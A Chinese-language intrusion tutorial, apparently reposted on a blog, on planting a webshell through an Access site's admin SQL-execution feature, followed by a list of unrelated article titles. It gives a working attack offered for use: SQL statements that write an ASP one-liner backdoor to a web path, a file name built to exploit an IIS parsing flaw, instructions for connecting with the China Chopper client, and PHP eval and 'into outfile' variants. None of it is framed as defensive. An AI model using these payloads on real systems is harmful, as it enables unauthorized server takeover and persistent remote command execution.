ACCESS执行SQL语句导出一句话拿webshell
来源:互联网 发布:avmo.pw域名更新 编辑:程序博客网 时间:2024/05/22 09:43
分类:入侵笔记 | 评论:0 | 浏览:
实用环境,在access后台其他方法不能拿到webshell
但是后台有SQL语句查询执行,就可以直接access导出一句话拿webshell了
不过需要知道物理路径才能导出,利用IIS的解析漏洞导出EXCEL文件拿到webshell,因为ACCESS数据库不允许导出其他危险格式。
至于怎么拿到物理路径就看你自己发挥了,报错或备份路径等。
逐一执行以下语句就可以导出一句话了
create table cmd (a varchar(50))
insert into cmd (a) values ('<%execute request("a")%>')
select * into [a] in 'e:\host\web\data\xiao.asp;xiao.xls' 'excel 4.0;' from cmd
drop table cmd
直接菜刀里连接 http://www.***.com/data/xiao.asp;xiao.xls 一句话
SQL语句意思解释:
第一句:建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
第二句:在表cmd的a字段插入一句话木马
第三句:把cmd表a的内容导出到路径e:\host\web\data\中x.asp;.xls文件
第四句:删除建立的cmd表
——————————————————————————————————————
这个更简单:
Access利用后台SQL执行命令功能导出WebShell:
SELECT '<%execute request("a")%>' into [vote] in 'd:/web/x.asp;.xls' 'excel 8.0;' from vote
或者Select '<? php eval($_POST[cmd]);?>' into outfile 'F:/wwwroot/eval.php';
后台提供SQL执行功能且知道绝对路径方可使用(vote为已知表段)
文章来源:http://www.chouwazi.com/article.asp?id=335
- ACCESS执行SQL语句导出一句话拿webshell
- ACCESS执行SQL语句导出一句话拿webshell
- ACCESS执行SQL语句导出一句话拿webshell
- 浅谈MySQL导出一句话木马拿WebShell的方法-只需要一句SQL
- ACCESS数据库后台sql语句执行导webshell
- SQL注入Access导出WebShell?
- SQL注入Access导出WebShell
- Access导出一句话拿shell实战
- 利用后台SQL查询语句拿webshell
- SQL注入Access导出WebShell 返回
- access 导出webshell
- 另类sql注入拿webshell
- WEBSHELL姿势之SQL一句话
- ACCESS导出一句话SHELL
- ACCESS导出一句话SHELL
- access 如何执行sql语句
- SQL Serve中SQL语句执行Access中子SQL语句
- 在Access查询中执行SQL语句
- Android 数据存储 &SQLite使用,
- druid对数据密码加密
- redis安装
- DataTable增加主鍵
- Jquery AJAX示例
- ACCESS执行SQL语句导出一句话拿webshell
- JAVA中this用法小结
- VxWorks:任务如何调度(一):典型案例
- Android内存泄漏分析及调试
- redis配置
- cocos2d-x游戏发布交叉编译成安卓程序(二)交叉编译
- 杭电2013
- redis命令行
- ios app crash报告分析